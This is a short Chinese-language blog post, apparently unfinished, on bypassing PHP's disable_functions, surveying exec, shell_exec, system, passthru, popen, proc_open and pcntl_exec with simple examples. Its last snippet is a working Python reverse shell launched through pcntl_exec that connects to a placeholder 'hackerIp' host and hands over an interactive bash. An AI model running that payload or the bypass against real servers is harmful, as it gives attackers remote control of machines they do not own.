沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

PHP中disable_funcitons的绕过

0x00 前言


日常拾人牙慧

0x01 执行外部命令的函数


exec

function exec(string $command,array[optional] $output,int[optional] $return_value)

<?php
    $array = Array();
	exec("ls");//无输出
    echo exec("ls");//这样才会有输出,且输出的是最后一行
	exec("ls", $array);
	print_r($array);
?>

不会直接将结果输出到页面中,返回结果的最后一行, 但是可以把所有结果存储到一个数组中,第三个参数用来接收命令执行后的返回状态,执行成功为0。

shell_exec和反引号

shell_exec ( string $cmd) : string

<?php
    shell_exec('dir');//无输出
    echo shell_exec("dir");//输出全部
	echo `dir`;//反引号
?>

shell_exec和exec的区别就是,shell_exec会返回所有的结果而不是最后一行,相同点是,两者都不会将结果直接输出到页面上。反引号实际就等于shell_exec。

system

function system(string $command,int[optional] $return_value)

<?php
    system("ls");
?>

和exec和shell_exec不同的是,system函数会直接将结果输出到页面上,其第二个参数与exec第三个参数一样。

passthru()

passthru ( string $command , int &$return_var= ? ) : void

<?php
    passthru("ls");
?>

也是直接将结果输出到页面上,但是其可以输出二进制数据,可以用它直接将图像流输出,将图片输出到浏览器。

popen

popen ( string $command, string$mode ) : resource

返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets()fgetss()fwrite()。 当模式为 ‘r’,返回的文件指针等于命令的 STDOUT,当模式为 ‘w’,返回的文件指针等于命令的 STDIN。


<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  //popen打一个进程通道  
  
while (!feof($fp)) {      //从通道里面取得东西  
 $out = fgets($fp, 1024);//fread($fp,1024);  
 echo  $out;         //打印出来  
}  
pclose($fp);  

proc_open

proc_open ( mixed $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource

与popen类似,但是可以双向管道,并且功能更加强大。

<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
/*$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);
*/

$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])){     
    echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}
?>

pcntl_exec

pcntl_exec ( string $path , array $args = ? , array $envs = ? ) : void

要使用pcntl_exec必须在PHP中安装了pcntl插件,并且是在Linux下(该插件是PHP在linux下的一个拓展)。该插件可以让PHP支持多线程。

<?php
if(function_exists('pcntl_exec')) {
   pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
       echo 'pcntl extension is not support!';
}
?>

因为一般Linux下默认有Python,所以可以利用它来反弹一下shell

<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("hackerIp",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

以后再写🕊